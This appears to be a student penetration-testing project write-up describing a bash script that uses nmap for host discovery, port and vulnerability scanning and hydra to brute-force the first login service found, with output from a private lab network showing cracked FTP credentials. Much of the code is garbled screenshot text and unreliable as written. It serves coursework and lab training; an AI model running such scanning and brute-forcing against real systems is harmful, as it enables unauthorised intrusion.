Penetration Testing Project

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Introduction

This script will map your current network and find different attack vectors. Based on the active hosts, open ports will be identified. Next, the script will find users with weak passwords and potential vulnerabilities based on service detection.

The user will be prompted to provide a list of Usernames and Passwords. The list will be used to check for weak passwords in the network services.

Finally, the user may view the results in the command line or, view it in a saved report file.

Key Concepts

Tools used: nmap, hydra

[nmap] – at the first part of the script, the nmap tool was used to do active host discovery and port scanning. Next, the default nmap NSE "vuln" script was used to search for potential vulnerabilities in each active host.

```
#### do nmap scan to find active hosts and store in a file
sudo nmap -sn 192.168.136.136/24 -oX res0 > /dev/null
```

```
#### do an nmap scan to check for open ports and save the result in a new file
echo -e "\nScanning for $ipaddr ..."
sudo nmap $ipaddr -sV -oX "res-${ipaddr}" > /dev/null
```

```
## Scan for vulnerabilities using nmap default vulnerability scripts
sudo nmap -Pn --script vuln "${ipaddr}" -p "${portid}" -oX "res-${ipaddr}-p${portid}-vuln" > /dev/null
```

[hydra] – the hydra tool was used to identify any available login service and brute force it.

```
## Run hydra command
hydra -L $usernamefile -P $passwordfile $ip_address $selected_protocol -s $selected_port -o "res-${ip_address}-hydra-output"
```

Possible Enhancements

Scope of the search for potential vulnerability could be expanded by using online databases, for example, *scipag_vulscan* resource. However, this would require a git clone to copy the repository into the user's local directory.

User could be recommended a prepared list of password file templates, and the estimated time it might take to run the brute forcing. This allows the user to make a assessment weighing the scope, time and accuracy.

Multiple host & port scanning tools can be used to further enhance the accuracy of device & port scanning. For example, using nmap UDP scans as well as the massscan tool. However, this would greatly increase the time taken to complete the scan.

1- Initialisation of folders, sudo access and functions

```
#!/bin/bash
                                           Initialization
3
   4
    *************
     ########## Warning to allow sudo
5
    echo -e "NOTE: This bash script will require sudo priviledges. Kindly
     key in your password if prompted.\n"
8
   9
    ***********
    ############### 0.1 Initialize
11
     ## Create temporary folder based on timestamp
12
     startTime=$(date +'%Y%m%d%H%M%S%Z')
13
14
     tmpDir="tmp${startTime}"
     mkdir "$tmpDir"
15
16
     cd "$tmpDir"
17
18
     ## Psudo code to trigger sudo authentication
19
     sudo mkdir test
20
21
     ## Initialize a final report file to store all results
     reportfile="scan_report_${startTime}"
22
23
     touch "$reportfile"
```

```
###### Defining repetitive functions
## print on display and also the repo
                                                        Define Functions
     □printfn() {
            echo -e $1 >> "$reportfile'
       ## print only on the report
33
34
     □printfn0() {
           echo -e $1 >> "$reportfile"
35
       ## print on display, report and also individual host summary
     □printfn2() {
39
40
41
           echo -e $1
echo -e $1 >> "$reportfile"
echo -e $1 >> "res-$2-summary"
42
43
44
        ## function to ask user for input to continue
45
46
47
48
     F while true: d
           elif [ "$answer" = "N" ]; then
51
52
53
54
55
56
57
                   echo -e "Please try agai
# Do nothing
                else
                     echo "Invalid input."
                fi
            done
```

2- Simple introductions to the code

```
61
       echo "##############################
        echo -e "###############\n"
echo -e "Created by:\n"
67
        echo " SSSSS
69
        echo "S
                                           2222
70
71
         echo " SSSSS
         echo
         echo "SSSSS
72
         echo -e "\n### Introduction"
        echo -e 'niffis script will map your current network and find different attack vectors. Based on the active hosts, open ports will be identified. Next, finding users with weak passwords and potential vulnerabilities based on service detection. Results will be saved in a
         echo -e "\nYou will first be prompted to provide a list of Username and
          Passwords. The list will be used to check for weak passwords in the
      continueCheck
```

3 – Allow user to specify a list of usernames and list of passwords

```
108
                                                                              87
                                                                        110
                                                                               ## Prompt the user for input
88
                                                                        111
      echo -e "\nKindly provide a list of USERNAMES, and once you are done,
                                                                               echo -e "\nKindly provide a list of PASSWORDS, and once you are done,
89
90
     output_file1="user_list.txt"
                                                                        113
                                                                              output file2="password list.txt"
                                                                        114
115
116
117
118
119
120
121
      ## Read and store user inputs
92
                                                                             pwhile true; do
    pwhile true; do
                                                                                  read -p "> " userInput
         read -p "> " userInput
94
                                                                                   ## Stop when user keys the string "+end"
         ## Stop when user keys the string "+end"
if [[ "$userInput" == "+end" ]]; then
95
                                                                                  if [[ "$userInput" == "+end" ]]; then
                                                                                     break
97
            break
98
                                                                                  ## store each entry into the user_list file
99
         ## store each entry into the user_list file
                                                                        122
123
                                                                                  echo "$userInput" >> "$output_file2"
100
         echo "$userInput" >> "$output_file1"
101
                                                                        124
102
                                                                        125
                                                                               ## inform the user
103
      ## Inform the user
                                                                              echo -e "Password inputs are stored in $output_file2"
                                                                        126
      echo -e "Username inputs are stored in $output_file1"
```

```
Kindly provide a list of USERNAMES, and once you are done, enter +end > kali > user1 > user2 > +end Username inputs are stored in user_list.txt

Kindly provide a list of PASSWORDS, and once you are done, enter +end > kali > abcde > abcd > +end Password inputs are stored in password_list.txt
```

```
(kali® kali)-[~/project/tmp20231106032337EST]
find . -name '*list.txt'
./user_list.txt
./password_list.txt
```

4 – Allow the user to specify a password list template

```
*****************************
       ########## 2.2 Allow the user to specify a password list - (5 Points)
131
132
      🖵## Create a function to prompt user for path to a template password file
133
      L## Function used for better code segmentation
134
135
      □getPasswordListPath() {
136
            ## A variable to check if path is valid, default set to FALSE i.e. not valid
137
138
           valid path=false
139
140
           ### Prompt user to provide path
141
           while [ "$valid_path" = false ]; do
142
                echo -e "\nPlease specify a password list by providing the file path:"
143
                read userInput
144
                path_userpasswordlist="$userInput"
145
                ## Check if the file exists and is a regular file
146
147
                if [ -f "$path_userpasswordlist" ]; then
148
                    valid_path=true # Set the flag to exit the loop
                    echo "You have provided $path_userpasswordlist"
149
150
151
                    ## Count the number of lines in the file and display to the user for confirmation
152
                    line_count=$(wc -1 < "$path_userpasswordlist")</pre>
153
                    echo "The file has $line_count items
155
                  ## Request for confirmation from the user
156
                  while true; do
                      read -p "Do you confirm this file? (Y/N): " confirmation
157
158
                      case "$confirmation" in
                          [Yy]* )
159
160
                             ## if user confirmed, exit the loop
161
                             valid_path=true # Set the flag to exit the confirmation loop and accept the input
162
163
                          [Nn]*)
                             ## if user does not confirm, also exit the confirmation loop to re-prompt for new input
164
165
                             break ;;
166
167
                             echo "Please enter Y or N." ;;
168
                      esac
                  done
169
170
              else
171
                  echo "File path is invalid or doesn't exist. Please provide a valid file path."
172
                  # The loop will continue until a valid file path is provided
173
174
          done
175
176
          ## Copy the Password List into the working directory
177
          cp $path_userpasswordlist passwordfile_template
178
          ## Add the template password list into the user provided list for a combined list to be used in brute forcing portion later
179
          cat passwordfile_template >> $output_file2
180
181
182
```

```
Do you want to also use a templated password list? (Y/N): Y

Please specify a password list by providing the file path:
/usr/share/seclists/Passwords/xato-net-10-million-passwords-10000.txt
You have provided /usr/share/seclists/Passwords/xato-net-10-million-passwords-10000.txt
The file has 10000 items
Do you confirm this file? (Y/N): Y

Thank you for your inputs, the script will run. This will take a couple of minutes or longer depending on the network.
```

```
223
      ####################################
      ########### 1.1 Automatically identify the LAN network range – (10 Points)
224
225
226
      printfn "\n##### Device scan"
227
228
      #### Get the default network interface
229
      default_interface=$(ip route | awk '/default/ {print $5}')
230
231
      #### Extract network range using the default interface
232
      network_cidr=$(ip -o -f inet addr show $default_interface | awk -F' ' '{print $4}')
233
      network_range=$(netmask -r $network_cidr)
234
235
      printfn "\nDefault Interface: $default_interface"
236
      printfn "LAN Network Range: $network_range"
237
238
     239
      ########## 1.2 Automatically scan the current LAN - (10 Points)
240
241
242
      #### do nmap scan to find active hosts and store in a file
243
      sudo nmap -sn 192.168.136.136/24 -oX res0 > /dev/null
244
      #### extract only the ip addresses and store in a new file
245
      cat res0 | grep "address addr" | grep ipv4 | awk -F '"' '{print $2}' > res0ipall
246
247
      #### Remove the host ip from the list
248
249
      host_ip=$(hostname -I | cut -d' ' -f1)
      cat res0ipall | grep -vE "$host_ip" > res0ip
250
251
252
      #### print the output into the terminal
253
      hostNum=$(cat res0ip | wc -1)
      printfn "\nFound $hostNum active hosts:"
254
255
      cat res0ip
256
      cat res0ip >> "$reportfile"
```

```
Scan started at: Mon Nov 6 03:51:58 AM EST 2023

##### Device scan

Default Interface: eth0
LAN Network Range: 192.168.136.0-192.168.136.255 (256)

Found 5 active hosts:
192.168.136.1
192.168.136.2
192.168.136.144
192.168.136.254
```

6 – Start scan of ports on each device found

```
259
       260
      ########### 1.3 Enumerate each live host - (10 Points)
261
       printfn "\n#### Port scan"
262
263
264
       #### for each ip inside the file saved in 1.2
     □while IFS= read -r ipaddr; do
265
266
267
           ## Set up the individual host summary report
268
           echo -e "\n###############" >> "res-${ipaddr}-summary"
           echo -e "\n#### Report for $ipaddr" >> "res-${ipaddr}-summary'
269
270
271
           #### do an nmap scan to check for open ports and save the result in a new file
272
           sudo nmap $ipaddr -sV -oX "res-${ipaddr}" > /dev/null
273
274
           #### extract only the port numbers into a file list
275
                'res-${ipaddr}" | grep port | grep open | awk -F '"' '{print $4}' > "res-${ipaddr}-pList"
276
277
           portNum=$(cat "res-${ipaddr}-pList" | wc -1)
278
279
           #### extract only the service name into a file list
280
           cat "res-${ipaddr}" | grep "service name=" | awk -F 'service name="' '{print $2}' | awk -F '"' '{print $1}' > "res-${ipaddr}-pList-servicename"
281
282
283
           echo "Found $portNum open ports on $ipaddr"
           printfn2 "\e[32m\n$ipaddr > $portNum open ports\e[0m" "$ipaddr"
cat "res-${ipaddr}-pList" >> "$reportfile"
284
285
286
287
```

```
##### Port scan
Scanning for 192.168.136.1 ...
Found 0 open ports on 192.168.136.1
192.168.136.1 > 0 open ports
Scanning for 192.168.136.2 ...
Found 1 open ports on 192.168.136.2
192.168.136.2 > 1 open ports
Scanning for 192.168.136.144 ...
Found 1 open ports on 192.168.136.144
192.168.136.144 > 1 open ports
Scanning for 192.168.136.145 ...
Found 23 open ports on 192.168.136.145
192.168.136.145 > 23 open ports
Scanning for 192.168.136.254 ...
Found 0 open ports on 192.168.136.254
192.168.136.254 > 0 open ports
```

7 – Find potential vulnerabilities in each device

```
290
       *******************************
291
      ########## 1.4 Find potential vulnerabilities for each device - (10 Points)
292
      293
      echo -e "##### Finding Potential Vulnerabilities for each device"
294
295
      #### for each ip inside the file saved in 1.2
     ¤while IFS= read -r ipaddr; do
296
          printfn "\n###############" "$ipaddr"
297
298
          printfn2 "\n#### Potential Vulnerabilities for \e[32m$ipaddr\e[0m\n" "$ipaddr"
299
300
          #### Serach for potential vulnerabilities in each port service
301
          line number=0
          while IFS= read -r portid; do
302
303
             ((line_number++))
304
              ## Print the scan parameters
305
              service_name=$(sed -n "${line_number}p" "res-${ipaddr}-pList-servicename")
              printfn2 "[port: $portid | service: $service_name]" "$ipaddr"
307
              ## Scan for vulnerabilities using nmap default vulnerability scripts
308
              sudo nmap -Pn --script vuln "${ipaddr}" -p "${portid}" -oX "res-${ipaddr}-p${portid}-vuln" > /dev/null
309
310
311
              # print the results
312
              vulnName=$(cat "res-${ipaddr}-p${portid}-vuln" | grep title | awk -F '>' '{print $2}' | awk -F '<' '{print $1}')</pre>
313
314
              if [[ -n "${vulnName}" && ! -z "${vulnName}" ]]; then
315
                  cat "res-${ipaddr}-p${portid}-vuln" | grep title | awk -F '>' '{print $2}' | awk -F '<' '{print $1}' > tmp-vuln-names
316
317
                  while IFS= read -r line; do
318
                         printfn2 ".. $counter- $line" "$ipaddr"
319
                          ((counter++))
320
                      done < "tmp-vuln-names"</pre>
321
              fi
          done < "res-${ipaddr}-pList"</pre>
322
          echo "done ~'
323
      done < res0ip
324
```

Finding Potential Vulnerabilities for each device

```
[port: 21 | service: ftp]
************
#### Potential Vulnerabilities for 192.168.136.145
[port: 21 | service: ftp]
[port: 22 | service: ssh]
[port: 23 | service: telnet]
[port: 25 | service: smtp]
[port: 53 | service: domain]
[port: 80 | service: http]
port: 111 | service: rpcbind]
port: 139
              service: netbios-ssn
              service: netbios-ssn]
[port: 445
              service: exec]
service: login]
 port: 512 |
[port: 513 | service: login]
[port: 514 | service: tcpwrapped]
[port: 1099 | service: java-rmi]
 port: 1524 |
               service: bindshell]
 port: 2049
               service: nfs]
 port: 2121 |
               service: ftp]
 port: 3306
               service: mysall
port: 5432 | service: postgresql]
```

8 – Brute force the first available login service

```
-############################ 2.5 If more than one login service is available, choose the first service - (10 Points)
333
334
335
       ## List of services that hydra supports for logging in
336
       HydraServices="dam6500 asterisk cisco cisco-enable cobaltstrike cvs firebird ftp[s] http[s]-{head|get|post} http[s]-{get|post}-form http-proxy
         ttp-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp oracle-listener oracle-sid pcanywhere
        ocnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak
        telnet[s] vmauthd vnc xmpp"
337
338
339
       usernamefile="user_list.txt"
       passwordfile="password_list.txt"
340
341
342
         Loop to brute force the first login service of each IP address
343
      □while IFS= read -r ip_address; do
344
345
            printfn "#############################"\n"
346
           printfn "#### Checking passwords on $ip_address\n'
347
348
            ### Check which is the first service that can be brute force by hydra (if available)
349
           line_number=0
            firstProtocol=TRUE
350
351
            selected_protocol="NULL'
352
353
           while IFS= read -r service; do
354
                ((line_number++))
355
                ## Check if the service is part of the hydra list
356
357
                    port_number=$(sed -n "${line_number}p" "res-${ip_address}-pList")
printfn "\e[32m$service > $ip_address:$port_number\e[0m"
358
359
                    echo -e "$service > $ip_address:$port_number" >> "res-${ip_address}-pList-servicename-hydra"
360
362
                    ## Store the values if it is the first service supported by hydra
363
                    if [[ $firstProtocol == TRUE ]]; then
                         selected port=$port number
364
                         selected_protocol=$service
365
366
                         firstProtocol=FALSE
367
368
369
370
            done < "res-${ip_address}-pList-servicename"</pre>
371
372
             # Run hydra for the first service stored earlier
373
374
                printfn2 "\n#### Hyrda Brtue force on \e[32m$ip_address port $selected_port via $selected_protocol\e[0m" "$ip_address"
375
376
                printfn2 "User List: $usernamefile" "$ip_address
377
                printfn2 "Password List: $passwordfile\n" "$ip address"
378
379
380
                hydra -L $usernamefile -P $passwordfile $ip_address $selected_protocol -s $selected_port -o "res-$(ip_address}-hydra-output"
381
382
383
                cat "res-${ip_address}-hydra-output" | grep "host:" >> "$reportfile"
cat "res-${ip_address}-hydra-output" | grep "host:" >> "res-${ip_address}-summary"
384
385
386
387
388
389
            echo -e "\nEnd ~" >> "res-${ip_address}-summary"
390
            echo -e "\n##################" >> "res-${ip_address}-summary"
391
392
```

```
#### Checking passwords on 192.168.136.144

ftp > 192.168.136.144:21

#### Hyrda Brtue force on 192.168.136.144 port 21 via ftp
User List: user_list.txt
Password List: password_list.txt

Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret ser vice organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics a nyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-11-06 03:38:08
[DATA] max 16 tasks per 1 server, overall 16 tasks, 3009 login tries (l:3/p:1003), ~189 tries per task
[DATA] attacking ftp://192.168.136.144:21/
[21][ftp] host: 192.168.136.144 login: user1 password: kali
[21][ftp] host: 192.168.136.144 login: user1 password: abcde
[21][ftp] host: 192.168.136.144 login: user2 password: 12345
1 of 1 target successfully completed, 3 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-11-06 03:38:20
```

9 – Display the total time of the scan

```
395
     396
    ########################## 3.1 Display general statistics (time of the scan, number of found devices, etc.) – (5 Points)
397
398
     # Record the stop time
399
     stop_time=$(date +%s)
400
     echo "Script stopped at: $(date)"
401
402
     # Calculate the difference in timing
403
     time_diff=$((stop_time - start_time))
404
405
     # Calculate minutes and seconds
     minutes=$((time_diff / 60))
406
407
     seconds=$((time_diff % 60))
408
409
     410
     printfn "Total time of the scan: \e[32m$minutes minutes $seconds seconds \e[0m ($difference_seconds seconds)."
     411
```

10 – Save the essential report files and delete the rest

```
413
     414
      ############### 3.2 Save all the results into a report - (5 Points)
415
416
      mkdir "../scan"
417
418
      ## Remove the runtime files and temporary folder, keeping only report files
419
420
      cp "$reportfile" "../scan/scan_report_all"
      cp "res0ip" "../scan/res0ip"
421
422
423
     □while IFS= read -r ipaddr; do
         cp "res-${ipaddr}-summary" "../scan/scan_report_${ipaddr}"
424
     Ldone < res@ip
425
426
      ## Remove all the temporary files
427
      cd ..
428
429
      sudo rm -r "$tmpDir"
```

```
(kali@ kali)-[~/project/scanres-20231106103531EST]
$ ls -l
total 24
-rw-r--r-- 1 kali kali 60 Nov 6 10:37 res0ip
-rw-r--r-- 1 kali kali 213 Nov 6 10:37 scan_report_192.168.136.1
-rw-r--r-- 1 kali kali 502 Nov 6 10:37 scan_report_192.168.136.144
-rw-r--r-- 1 kali kali 244 Nov 6 10:37 scan_report_192.168.136.2
-rw-r--r-- 1 kali kali 219 Nov 6 10:37 scan_report_192.168.136.254
-rw-r--r-- 1 kali kali 1761 Nov 6 10:37 scan_report_all
```

11 – Allow the user to select an ip address to view the results

```
432
      433
      ########### 3.3 Allow the user to enter an IP address; display the relevant findings – (5 Points)
434
435
       # Displaying the numbered list of IP addresses
436
     □while true; do
437
           echo -e "\nPlease select which ip address to view results (e.g. 2): '
438
           awk '{print NR" - "$0}' "./scan/res0ip"
439
440
          # Prompt user for selection
441
           echo -e ""
442
           read -p $'\e[93mSelect:\e[0m ' selected_number
443
444
           # Validate user input and store the selected IP address
           selected_ip=$(awk -v num="$selected_number" 'NR==num {print $0}' "./scan/res0ip")
445
446
447
           if [ -z "$selected_ip" ]; then
448
               echo "Invalid selection."
           else
449
450
               #### display results using the individual host report
451
               cat "/scan/scan_report_${ip_address}"
452
453
454
      ∟ done
```

```
Please select which ip address to view results (e.g. 2):
1 - 192.168.136.1
 - 192.168.136.2
3 - 192.168.136.144
4 - 192.168.136.145
5 - 192.168.136.254
192.168.136.145 > 23 open ports
21|22|23|25|53|80|111|139|445|512|513|514|1099|1524|2049|2121|3306|5432|5900|6000|6667|8009|8180
[port: 21 | service: ftp]
[port: 22 | service: ssh]
[port: 23
            service: telnet]
[port: 25 | service: smtp]
[port: 53 | service: domain]
[port: 80 | service: http]
[port: 111 | service: rpcbind]
[port: 139
           | service: netbios-ssn]
[port: 445
           | service: netbios-ssn]
[port: 512 | service: exec]
[port: 513
           | service: login]
[port: 514 | service: tcpwrapped]
[port: 1099 | service: java-rmi]
[port: 1524 | service: bindshell]
```